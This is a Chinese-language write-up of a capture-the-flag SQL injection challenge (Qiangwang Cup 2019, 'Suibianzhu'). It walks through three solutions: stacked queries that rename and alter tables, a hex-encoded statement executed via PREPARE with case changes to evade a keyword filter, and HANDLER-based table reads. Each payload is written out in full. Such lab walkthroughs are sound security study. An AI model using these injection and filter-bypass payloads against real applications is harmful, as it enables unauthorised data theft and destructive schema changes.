强网杯 2019 - 随便注

参考:

【BUUCTF[强网杯 2019]随便注 的三种解法】 (opens new window)

# 思路一

?inject=1' or 1='1
?inject=1' union select 1,2
1
2

使用联合查询,回显return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);,显示出过滤的内容

没有过滤分号,可以堆叠注入。显示当前库表

?inject=1';show tables;
1

1919810931114514,words两张表

显示words表的字段

?inject=1';show columns from words;
1

1

当前查询到的信息和words表中字段符合。php里的sql语句查询的是words表,现在不能使用select语句,不考虑盲注的话,可以利用php当前的sql语句的select查询,需要先把flag所在的表名改为words

它的sql语句可能是这样

$sql = "select id, data from words";
$result = $conn->query($sql);
if ($result->num_rows > 0) {
    while($row = $result->fetch_assoc()) {
        echo "id: " . $row["id"]. "data: " . $row["data"]. "<br>";
    }
}
1
2
3
4
5
6
7

看看这个数字表里的字段,直接写数字表名查不到信息,需要给数字表名添加上反引号(又学到了)

?inject=1';show columns from 1919810931114514;
?inject=1';show columns from `1919810931114514`;
1
2

现在能看到,数字表里只有一个flag,先把words表随便改个名字,再把数字表名改成words

修改表名后,还需要修改和补充字段,现在的words表里没有id字段和data字段,可以插入id字段,修改flag字段的名字

?inject=1';show tables;rename table words to wow;rename table `1919810931114514` to words;alter table words add id int;alter table words change flag data varchar(100);
1

现在再使用万能密码就可以把flag爆出来了

?inject=1' or 1='1
1

# 思路二

使用16进制编码查询语句

select *from `1919810931114514`;
# 编码后,在定义变量赋值时,前面加上0x,不然认不出来
73656c6563742a66726f6d6031393139383130393331313134353134603b
1
2
3

又学到了

提示

mysql使用set @变量名=值,设置变量
prepare from预处理语句,会进行解码操作
execute执行sql语句

所以可以使用prepare from解码一个16进制编码的查询语句,使用execute来执行,这个过程设置把16进制编码设置成变量更方便

题目提示strstr($inject, "set") && strstr($inject, "prepare"),set,prepare不能同时小写

?inject=1';SeT @a=0x73656c6563742a66726f6d6031393139383130393331313134353134603b;prepare execsql from @a;execute execsql;
1

测试了一下,很舒服哈哈,编码的表名需要使用反引号包裹

sql

# 思路三

MySQL 的底层操作,用于直接访问表的行

?inject=1'; handler `1919810931114514` open as `a`; handler `a` read next;#
1

解释

-- 打开表
HANDLER `example_table` OPEN AS `a`;

-- 读取第一行
HANDLER `a` READ NEXT;

-- 读取第二行
HANDLER `a` READ NEXT;

-- 继续读取其他行
-- 直到你读取完所有行

-- 关闭表
HANDLER `a` CLOSE;
1
2
3
4
5
6
7
8
9
10
11
12
13
14

handler

最后一次更新于: 2025/01/19, 23:04:33